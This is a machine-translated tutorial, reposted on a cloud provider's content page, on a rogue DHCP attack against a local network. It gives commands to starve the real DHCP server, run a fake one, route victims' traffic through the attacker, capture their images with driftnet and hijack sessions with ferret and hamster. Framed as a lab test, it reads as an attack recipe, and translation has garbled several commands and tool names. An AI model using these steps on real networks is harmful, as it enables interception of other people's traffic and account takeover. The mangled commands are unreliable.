Rogue DHCP server Intranet attack test

Source: Internet
Author: User
Tags kali linux

Rogue DHCP server Intranet attack test

Intranet penetration is usually Based on ARP attacks, but ARP attacks are too costly to the Intranet and are easy to detect. Today we are talking about DHCP-based attacks.

DHCP-based attacks are easy to understand. First, hackers use their own hosts to forge a DHCP server by forging a Mac address and exhausting the IP addresses of normal DHCP servers, the newly connected Intranet host can only use the IP address allocated by the rogue DHCP server, so that the hacker's host becomes an intranet gateway, which can control the network traffic of other hosts in the intranet.

Attack Environment

Operating System: Kali linux

Gateway: 192.168.177.1

IP Address: 192.168.177.128

Network Segment: 192.168.177.1/24

0 × 01 enable route forwarding for the operating system

Echo "1">/proc/sys/net/ipv4/ip_forward

0 × 02 attack the normal dhcp server and consume ip Resources

Dhcpstarv-I eth0-e 192.168.177.128

By default, dhcpstarv is not installed in Kali. You can also use yersinia instead.

0 × 03 install dhcp server udhcpd

# Apt-get install udhcpd

Modify the configuration file.

# Vim/etc/udhcpd. conf

 

0 × 04 start the DHCP server

Service udhcpd start

Then start another Kali host as the target. Because the normal DHCP server has no available IP Address resources, the new Intranet host will use the IP address allocated by the attacker's DHCP server.

0 × 05 capture the Target Image

Enable driftnet on the attack host

# Driftnet-I eth0

Open Baidu images on the Target

Images can be seen on the attacker's server

0 × 06 session hijacking

Enable wireshark to capture packets flowing through the local Nic. Because other machines use the NIC of the attacker host, wireshark can capture packets from other hosts.

Use ferret to parse

# Ferret-r demo. pcap

A file named hamster.txt will be generated in the terminal.

Run the harmter command to enable port 1234 on the host.

Configure Firefox proxy

Hijacking successful

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.